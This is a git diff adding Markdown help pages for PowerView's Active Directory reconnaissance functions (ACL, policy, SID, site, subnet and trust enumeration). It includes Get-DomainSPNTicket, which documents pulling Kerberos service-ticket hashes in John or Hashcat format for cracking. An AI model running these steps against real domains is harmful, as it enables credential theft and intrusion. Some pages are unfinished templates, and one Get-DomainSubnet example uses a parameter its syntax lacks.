Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +## SYNTAX + +``` +Get-DomainObjectAcl [[-Identity] ] [-ResolveGUIDs] [-RightsFilter ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs +``` + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs +``` + +Enumerate the ACL permissions for all OUs in the domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Rights + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainPolicy.md b/docs/Recon/Get-DomainPolicy.md new file mode 100755 index 0000000..8b7d157 --- /dev/null +++ b/docs/Recon/Get-DomainPolicy.md @@ -0,0 +1,159 @@ +# Get-DomainPolicy + +## SYNOPSIS +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainPolicy [[-Domain] ] [-Source ] [-Server ] [-ServerTimeLimit ] + [-ResolveSids] [-Credential ] +``` + +## DESCRIPTION +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainPolicy +``` + +Returns the domain policy for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainPolicy -Domain dev.testlab.local +``` + +Returns the domain policy for the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainPolicy -Source DC -Domain dev.testlab.local +``` + +Returns the policy for the dev.testlab.local domain controller. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicy -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for default policies, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Source +Extract 'Domain' or 'DC' (domain controller) policies. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Domain +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResolveSids +Switch. +Resolve Sids from a DC policy to object names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSID.md b/docs/Recon/Get-DomainSID.md new file mode 100755 index 0000000..16c51ce --- /dev/null +++ b/docs/Recon/Get-DomainSID.md @@ -0,0 +1,102 @@ +# Get-DomainSID + +## SYNOPSIS +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +## SYNTAX + +``` +Get-DomainSID [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. +The SID of the returned domain controller +is then extracted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSID +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSID -Domain testlab.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +A string representing the specified domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSPNTicket.md b/docs/Recon/Get-DomainSPNTicket.md new file mode 100755 index 0000000..70385a4 --- /dev/null +++ b/docs/Recon/Get-DomainSPNTicket.md @@ -0,0 +1,136 @@ +# Get-DomainSPNTicket + +## SYNOPSIS +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +### RawSPN (Default) +``` +Get-DomainSPNTicket [-SPN] [-OutputFormat ] [-Credential ] +``` + +### User +``` +Get-DomainSPNTicket [-User] [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. +The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" +``` + +Request a kerberos service ticket for the specified SPN. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket +``` + +Request kerberos service tickets for all SPNs passed on the pipeline. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat +``` + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +## PARAMETERS + +### -SPN +Specifies the service principal name to request the ticket for. + +```yaml +Type: String[] +Parameter Sets: RawSPN +Aliases: ServicePrincipalName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -User +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +```yaml +Type: Object[] +Parameter Sets: User +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +### PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSite.md b/docs/Recon/Get-DomainSite.md new file mode 100755 index 0000000..caf7790 --- /dev/null +++ b/docs/Recon/Get-DomainSite.md @@ -0,0 +1,309 @@ +# Get-DomainSite + +## SYNOPSIS +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSite [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all site objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSite +``` + +Returns the current sites in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSite *admin* -Domain testlab.local +``` + +Returns all sites with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all sites with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +## PARAMETERS + +### -Identity +An site name (e.g. +Test-Site), DistinguishedName (e.g. +CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return sites with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Site + +Custom PSObject with translated site property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSubnet.md b/docs/Recon/Get-DomainSubnet.md new file mode 100755 index 0000000..8cd82b1 --- /dev/null +++ b/docs/Recon/Get-DomainSubnet.md @@ -0,0 +1,309 @@ +# Get-DomainSubnet + +## SYNOPSIS +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSubnet [[-Identity] ] [-SiteName ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all subnet objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSubnet +``` + +Returns the current subnets in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSubnet *admin* -Domain testlab.local +``` + +Returns all subnets with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all subnets with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +## PARAMETERS + +### -Identity +An subnet name (e.g. +'192.168.50.0/24'), DistinguishedName (e.g. +'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SiteName +Only return subnets from the specified SiteName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Subnet + +Custom PSObject with translated subnet property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrust.md b/docs/Recon/Get-DomainTrust.md new file mode 100755 index 0000000..29af577 --- /dev/null +++ b/docs/Recon/Get-DomainTrust.md @@ -0,0 +1,250 @@ +# Get-DomainTrust + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrust [[-Domain] ] [-FindOne] +``` + +### API +``` +Get-DomainTrust [[-Domain] ] [-API] [-Server ] [-FindOne] +``` + +### LDAP +``` +Get-DomainTrust [[-Domain] ] [-LDAP] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +{{Fill Domain Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 0 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -FindOne +{{Fill FindOne Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrustMapping.md b/docs/Recon/Get-DomainTrustMapping.md new file mode 100755 index 0000000..692f265 --- /dev/null +++ b/docs/Recon/Get-DomainTrustMapping.md @@ -0,0 +1,220 @@ +# Get-DomainTrustMapping + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrustMapping +``` + +### API +``` +Get-DomainTrustMapping [-API] [-Server ] +``` + +### LDAP +``` +Get-DomainTrustMapping [-LDAP] [-LDAPFilter ] [-Properties ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: 